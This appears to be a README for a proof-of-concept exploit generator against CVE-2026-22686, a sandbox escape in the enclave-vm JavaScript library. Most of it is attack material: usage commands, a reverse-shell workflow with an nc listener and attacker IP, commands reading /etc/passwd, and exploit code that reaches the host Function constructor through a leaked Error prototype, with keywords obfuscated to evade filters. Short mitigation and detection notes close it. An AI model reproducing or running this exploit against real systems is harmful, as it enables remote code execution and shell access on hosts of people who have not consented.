
Proof-of-concept exploit and payload generator for CVE-2026-22686, a sandbox escape in enclave-vm <2.7.0 enabling arbitrary code execution and reverse shells.
A proof-of-concept (PoC) exploit and payload generator for CVE-2026-22686, a critical sandbox escape vulnerability in enclave-vm versions prior to 2.7.0, allowing arbitrary code execution within the host Node.js runtime.
⚠️ Disclaimer: This tool is provided for educational and authorized security testing purposes only. Usage against systems without prior written consent is illegal. The author assumes no liability for any misuse.
enclave-vm is a JavaScript sandboxing library designed to safely execute untrusted code inside a controlled environment. In versions < 2.7.0, a flaw in how host-side error objects are exposed to the sandbox allows an attacker to traverse the prototype chain and reach the host's Function constructor, effectively escaping the sandbox.
This repository contains:
| Field | Value |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Critical) |
| CWE | CWE-693 — Protection Mechanism Failure |
| Component | enclave-vm |
| Affected | < 2.7.0 |
| Fixed in | 2.7.0 |
| Impact | Sandbox escape → arbitrary code execution (RCE) |
When a sandboxed tool call fails, enclave-vm exposes the host-side Error object back to the sandboxed code. Because this error object retains its original prototype chain from the host environment, an attacker can walk up the chain as follows:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Once the host Function constructor is obtained, the attacker can compile and execute arbitrary JavaScript in the host runtime — completely bypassing the sandbox.
The exploit follows these steps:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, which is the host's Function.Function and execute it.child_process and executes an arbitrary shell command (or spawns a reverse shell).All sensitive keywords (constructor, __proto__, __lookupGetter__, prototype) are obfuscated as ASCII character codes to bypass naive static filters.
No external dependencies — uses only the Python standard library.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Requirements:
python3 generator.py
You will be prompted to:
Then copy the generated payload and paste it into the vulnerable sandbox input.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (attacker — listener):
nc -lvnp 4444
Terminal 2 (generator):
python3 generator.py --revshell 10.10.15.152 4444
Copy the resulting payload and paste it into the sandbox. You should receive a shell in Terminal 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Description |
|---|---|
-c, --command | Shell command to execute |
--revshell LHOST LPORT | Generate a reverse shell payload |
--raw | Print only the payload (no banner, no decoration) |
--lang {fr,en} | Force the interface language |
-h, --help | Show help and examples |
const s = (...args) => String.fromCharCode(...args);
A tiny helper to decode ASCII code arrays at runtime.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Avoids trivial string-based filters.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
The host Function is then used to execute the attacker's command via child_process.execSync().
For Developers:
enclave-vm to >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).For Users / Organizations:
Detection:
Look for HTTP requests or code submissions containing callTool('NONEXISTENT', __lookupGetter__, long arrays of comma-separated integer literals, or child_process / execSync.
This project is published strictly for educational and defensive security research. It is intended for security researchers, authorized penetration testers, and CTF players.